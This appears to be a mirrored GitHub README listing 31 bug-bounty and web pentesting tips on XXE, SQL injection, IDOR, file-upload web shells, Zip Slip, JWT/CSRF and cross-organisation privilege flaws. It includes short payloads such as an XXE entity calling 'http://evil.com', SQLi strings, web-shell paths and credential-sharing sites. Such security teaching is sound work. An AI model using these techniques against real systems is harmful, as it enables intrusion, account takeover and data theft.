Giter Club home page Giter Club logo

31-days-of-pentesting's Introduction

31-days-of-pentesting

31 Advanced Bug Bounty & Pentesting Tips


- TIP: 1/31-

Older APIs versions tend to be more vulnerable and they lack security mechanisms. Leverage the predictable nature of REST APIs to find old versions. Saw a call to api/v3/login? Check if api/v1/login exists as well. It might be more vulnerable.


- TIP: 2/31-

Testing a web app that requires AuthN but you don't have a user? <part 1/2>

  1. use Google "site:[host]" to find sub-pages; some of them might not enforce AuthN
  2. access /home, /default and use DirButser to find more sub-pages

- TIP:3/31-

  1. download JS and look for strings like "create_user"/"register"; you might find AuthN API EPs and use them to register directly.
  2. use http://bugmenot.com or http://login2.me to find credentials

- TIP: 4/31-

File Upload --> RCE

  1. Windows: Malicious file to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  2. IIS: web-shell to C:\inetpub\wwwroot[3]
  3. Apache: web-shell to /var/www/html/

Keep in mind that in many cases the translation of [physical path] --> [virtual directory] isn't straightforward; The test thing you can do is to to find an "arbitrary file download" vuln, scan the server and find the physical location of the virtual directory. *


- TIP:5/31-

SQLi --> RCE [1/2] | Look for tables containing records that look like file paths/URLs. Internal systems might use SQL as part of scheduled jobs/updates mechanisms. Change the value to a path/URL of a malicious file Infographic


- TIP: 6/31-

SQLi --> RCE [2/2] | Always look for customized stored producers that were written by DBAs. The producers might use dangerous PLSQL/T-SQL funcs, that your SQL payload can't access directly


- TIP: 7/31 -

SQLi --> SSRF


- TIP: 8/31 -

White-box Pentst? Learn the dangerous functions of the tested language.

Java: https://stackoverflow.com/a/4351516 | .NET: https://stackoverflow.com/a/20903746 | PHP: https://stackoverflow.com/a/3115645 | Ruby: https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html | (Or simply Google: [language] + security best practices)


- TIP: 9/31 -

My favorite XXE --> RCE finding:

  1. XML Parser supports "gopher://" - SSRF on steroids!
  2. Java debugger running locally and supports "Telnet Debugging" ๐Ÿคจ
  3. Read debugger doc
  4. Malicious payload uses gopher to call debugger and run raw Java code ๐Ÿค 

- TIP: 10/31-

Found XXE? Leverage it for:

  • DoS: XML Bomb
  • LFI: <!ENTITY xxe SYSTEM "file://path"> (Try 2 slashes (Windows) and 3 (Linux) in path)
  • SSRF: <!ENTITY xxe SYSTEM "http://evil.com"> (Try different protocols [ssh,ftp,etc])

- TIP: 11/31 -

Recently learned: Grafana dashboards tend to use ElasticSearch API. In 30% of the times I've tested, they were vulnerable to a simple attack: If GraphQL query to Elastic contains a "filter"/"filter_id", remove it, and get access to other users' info.

Also relevant for Kibana


- TIP : 12/31-

Common misconception: AuthN EPs == Login EPs. That's wrong!

  • Credentials Recovery
  • Login using magic links/1 time code
  • Admin "View as..."

All should be considered as AuthN EPs as well, and require additional protection (rate limiting, etc)


- TIP: 13/31-

How to find detailed errors in APIs?

  1. Send a string instead of a number (age=ddd)
  2. Remove necessary params (e.g, send a PM and remove "receiver_name" param)
  3. Break JSON structure (remove '}')
  4. Remove necessary headers/cookies

- TIP: 14/31 -

Found a SQLI? DB doesn't have interesting data? Find tables that store website content, and leverage it to cause stored XSS. Infographic


- TIP:15/31-

What's your funniest pentest story? I once found a stored XSS in a forum, left a silly "EVIL" alert that impacted all users; They had no "remove thread" feature; had to find a SQLi to remove it ๐Ÿ™ƒ


- TIP: 16/31-

==Protection for AuthN EPs ==

  1. Rate limiting - require captcha/block IP addresses that accessed too many times
  2. Account lockout - Many failed attempts to authenticate as user X? Block access to user X for some time.
  3. Captcha always recommended*

- TIP:17/31-

Testing for SQLi? always remember the DBs are different. Especially concatenation & comments.

  • MSSQL: abc' + 'def --
  • MySQL: 'abc' || 'def' #
  • Oracle: abc' || 'def' --

keep in mind that multi-line comment format usually won't work inside an injection


- TIP: 18/31-

Before a pentest, I always:

  • Use Burp to catch browser traffic
  • Use the target app legitimately, trying to use all buttons, views, dashboards, etc
  • Use Burp Tree View to understand better the app, including... [in sub tweet]

Which EPs contain IDs Does the app have sub APIs? With which external services does the client-app communicates?


- TIP:19/31-

B2B apps often have a "manage your organization" feature - fertile ground for vulns!

  1. Create 2 users belong to different orgs
  2. Login as user2 from org2
  3. Add user1 from org1 to your org
  4. Find "get/export org users" API
  5. leak user1 info

Infographic


- TIP:20/31-

B2B apps often have an "invite user to your org" feature.

  1. Invite an existing user to your org 2.Learn how the API call "accept_invite" looks using a dummy user
  2. Accept the invite on behalf of the victim
  3. Once victim in your org - game over

Infographic


- TIP:21/30-

B2B apps often provide an "impersonate user" feature to org admins.

  1. Create an org admin user
  2. Learn the API call to "impersonate_user"
  3. Try to delegate to a user from a different org
  4. Might lead to a full account takeover

Infographic


- TIP:22/31-

App provides "impersonate user" feature? Check if the app changes your auth_token after impersonation; If it does - make sure the impersonation token follows best practices (https://auth0.com/docs/best-practices/token-best-practices) It often doesn't!


- TIP:23/31-

API allows sending a private message? Try to change the "receiver_id" to an array instead of a single string/int. Might be used as a way to spam the system.


- TIP:24/31-

Where I usually find IDOR (BOLA) in apps, is in features that allow extracting data as files.

  • "download_report/org_id=11"
  • "my_activity_as_pdf?user_id=22"

These are often developed by different teams that don't fully understand the Authz mechanism


- TIP:25/31-

API with JWT in AuthZ header?

  1. Copy JWT b64 value
  2. Add new cookies - "auth_token", "jwt_token", "jwt", paste b64 as value
  3. Duplicate previous API call, add cookies, remove header.
  4. Works? AuthN supports cookies
  5. API is 90% vulnerable to CSRF

- TIP:26/31-

App allows uploading .zip/rar archives? There's a good chance it's vulnerable to Zip Slip! Put the malicious file inside a zip, edit zip using HexEditor, use directory traversal to change final dest. Try both 1st&2nd occurrences separately

Infographic


- TIP:27/31-

Find detailed errors:

  1. Send array instead of primitive (age=[21] instead of age=21)
  2. Send a Unicode char in HTTP method (Gโœ”๏ธT)
  3. Send long Unicode string (age=โœ”๏ธx100)
  4. If the API receives a URL, remove semicolon (http// instead of http://)

- TIP:28/31-

Picture upload feature?

  1. Upload an image and check the URL
  2. If the file isn't stored on CDN -->
  3. Upload an HTML file with script tags
  4. If the upload is completed successfully, it might be an XSS

- TIP:29/30-

Before a pentest, I always:

  1. Use the app as a regular user to understand the BL
  2. Create 2 users
  3. Map all features allowing interaction between users (Inbox,invites,co-riders); these are usually a good place to find AuthZ issues

- TIP:30/31-

Best bug bounty tip I've received: Always focus on the most niche features that are hidden from the main dashboard. They are less likely to be covered in a pentest, and developers usually invest less time in securing them. /Examples in sub-tweet/

Features that were exposed temporarily, such as "create Christmas greeting card" or "black Friday lottery" Dashboards that are exposed to a limited set of users (Uber: Uber-eats drivers | FB: app developers | Airline: portal for gold members) Old versions of the API


- TIP: 31/31-

Bug bounty hunting is a stressful job. If you find yourself getting overwhelmed after not finding vulns, remind yourself that some apps are just more secure than others. Apply mindfulness to your daily routine and meditate between RCEs ๐Ÿง˜โ€โ™‚๏ธ


Source

Links:

31-days-of-pentesting's People

Contributors

inonshk avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.